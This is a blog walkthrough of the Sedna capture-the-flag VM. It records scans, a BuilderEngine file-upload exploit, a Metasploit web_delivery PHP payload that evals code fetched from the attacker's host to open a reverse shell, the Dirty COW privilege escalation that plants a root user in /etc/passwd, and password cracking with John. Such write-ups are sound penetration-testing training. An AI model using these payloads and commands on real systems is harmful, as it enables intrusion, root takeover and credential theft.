CTF Sedna from Viper (hackfest 2016)

Hi everyone, I did the first Vuln VM from hackfest 2016 not long ago and i want to try this one now. It’s the second one by @ViperBlackSkull and it is the second walkthrough for me so if you need more information you can reach me on twitter at @marghost.  You can get the virtual machine HERE. So lets get started.

First of all let’s make a quick nmap and a nikto. i had already made those so i will just copy my note file. (Always open a notepad when you are hacking it is the best advice i can give to you)

80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).

111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          38749/udp  status
|_  100024  1          53495/tcp  status

8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|   Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat

| smb-os-discovery:
|   OS: Unix (Samba 4.1.6-Ubuntu)
|   NetBIOS computer name: SEDNA
|   Workgroup: WORKGROUP
|_  System time: 2017-03-17T15:38:30-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

80
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3092: /system/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /license.txt: License file found may identify site software.

8080
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS
+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /: Appears to be a default Apache Tomcat install.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ OSVDB-3720: /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users.
+ /manager/html: Default Tomcat Manager / Host Manager interface found
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found
+ /manager/status: Default Tomcat Server Status interface found

Ok so here we see many things.  First of all we have two web server, one samba server that can maybe be exploited, also a rpc server that may be used for unbound connection to the server and of course an ssh.

I tried first to find an exploit for the rpc server but i had no luck, metasploit had exploit to ddos or crash it, and other exploits required nfs.  I turn myself to the web servers.  The 80 one have a robot file that is no use.  I skip to the 8080 and tried to poke around tomcat, need to be auth to use main exploit and the default username:password did not work. I tried to bruteforce the password with the tomcat_mgr_login auxiliary scan from metasploit and noting to be found.

So i put my attention into the 80 server there is noting interesting into the /files/ directory.  The system and user directories are locked down… The readme of icon directory is noting but usefull.  I found someting interesting into the license.txt the site use builderengine.  A quick google search pointed out that i can exploit this to send a reverse php shell.

So first of all need to create the builderengine.php file that will send malicious code into the /files/ directory of the remote server.

<!-- # Exploit Title: BuilderEngine 3.5.0 Remote Code Execution via elFinder 2.0 # Date: 18/09/2016 # Exploit Author: metanubix # Vendor Homepage: http://builderengine.org/ # Software Link: http://builderengine.org/page-cms-download.html # Version: 3.5.0 # Tested on: Kali Linux 2.0 64 bit # Google Dork: intext:"BuilderEngine Ltd. All Right Reserved" 1) Unauthenticated Unrestricted File Upload: POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/ Vulnerable Parameter: files[] We can upload test.php and reach the file via the following link: /files/test.php -->
<html>
<body>
<form method="post" action="http://192.168.1.16/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>

</body>
</html>

After that start php server and open the builderengine.php that you just created.

php -S 127.0.0.1:80

Start metasploit and insert the right commands to start a web_delivery exploit

use exploit/multi/script/web_delivery
set target 1
set lhost 192.168.1.14
set payload php/meterpreter/reverse_tcp
run

When you will run the exploit it will give you an adress, just create a remotexploit.php file and fill it like this :

<?php
eval(file_get_contents('http://192.168.1.14:8080/9HL33yWdUR4KFo'));
?>

Now use the delivery form to upload this little php gift from metasploit. Then you will be prompted by metasploit to open a session

sessions -i 1
python -c 'import pty; pty.spawn("/bin/bash")'

Done i have a shell! First win.

A quick view tell me that this linux kernel is vulnerable to the Dirty Dirty Cow exploit

www-data@Sedna:/var/www$ uname -a
uname -a
Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux 


Sooo exploiting dirty cow

curl https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c >dirty.c

<githubusercontent.com/FireFart/dirtycow/master/dirty.c >dirty.c
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4805 100 4805 0 0 29333 0 --:--:-- --:--:-- --:--:-- 29478
www-data@Sedna:/var/www/html/files$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt
www-data@Sedna:/var/www/html/files$ ./dirty
./dirty
Please enter the new password: test
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash
mmap: b77cc000
ptrace 0
Done! Check /etc/passwd to see if the new user was created
You can log in with username firefart and password test.
DON'T FORGET TO RESTORE /etc/passwd FROM /tmp/passwd.bak !!!
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash
mmap: b77cc000
madvise 0
Done! Check /etc/passwd to see if the new user was created
You can log in with username firefart and password test.
DON'T FORGET TO RESTORE /etc/passwd FROM /tmp/passwd.bak !!!
192.168.1.16 - Meterpreter session 1 closed. Reason: Died

When exploited, ruuuun to ssh and login as fast as you can.  You are on the edge as dirty cow is unstable as FU** and can cause a kernel panic anytime.  To make it stable you need to enter a line of code.

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

It should look like this :

root@kali:~# ssh firefart@192.168.1.19
firefart@192.168.1.19's password:
Added user firefart.

Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

* Documentation: https://help.ubuntu.com/

System information as of Mon Mar 20 08:25:24 EDT 2017

System load: 0.15 Memory usage: 2% Processes: 57
Usage of /: 29.7% of 7.26GB Swap usage: 0% Users logged in: 0

Graph this data and manage this system at:
https://landscape.canonical.com/

Last login: Sun Mar 12 00:41:47 2017 from 192.168.0.126
firefart@Sedna:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
firefart@Sedna:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@Sedna:~# adduser pwned
Adding user `pwned' ...
Adding new group `pwned' (1001) ...
Adding new user `pwned' (1001) with group `pwned' ...
Creating home directory `/home/pwned' ...
Copying files from `/etc/skel' ...
no talloc stackframe at ../source3/param/loadparm.c:4864, leaking memory
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for pwned
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
firefart@Sedna:~# usermod -aG sudo pwned

As you can see here the line of code is pushed right after the ssh login and i make a root user right after just in case something goes wrong.

I am groot! It’s another win :p

Now we go fishing for flags.  Found the two first flags the easy way by making a search as root :

firefart@Sedna:/# find . -name "flag.txt"
./var/www/flag.txt
./root/flag.txt
firefart@Sedna:/# cat /var/www/flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289
firefart@Sedna:/# cat /root/flag.txt
a10828bee17db751de4b936614558305
firefart@Sedna:/#

Ok now i need to find the two post exploit flags. My first reflex was to go and investigate the /files/users/ directory of the 80 server…
this was a dead end. Next ting to snoop in was the tomcat install that i was not able to login even if i tried to bruteforce the password.

so a little google search pointed me that tomcat passwords are inside ‘/etc/tomcat7/tomcat-users.xml’

This is what i found

<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>
</tomcat-users>

Looks like i found a flag!

Now it is time to login into the tomcat server.  Noting to be found there.

I snooped a little more around.  noting to see from running process (ps -aux | less).

No special cron was used.  (/etc/crontab)

I found it!!! an user named crackmeforpoints is inside the user list (cut -d: -f1 /etc/passwd)
crackmeforpoints:$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/:17104:0:99999:7:::

so i will try to john my way to this password over night… almost done!

root@kali:~/Downloads# john ./crack.password.db</pre>
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status

Ok after a night John the crazy didn’t crack the password so it is a little more complex that I as expected.  I got the flag and the job is done for me :).  Have a nice day and I will send you in the next walkthrough.

M.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s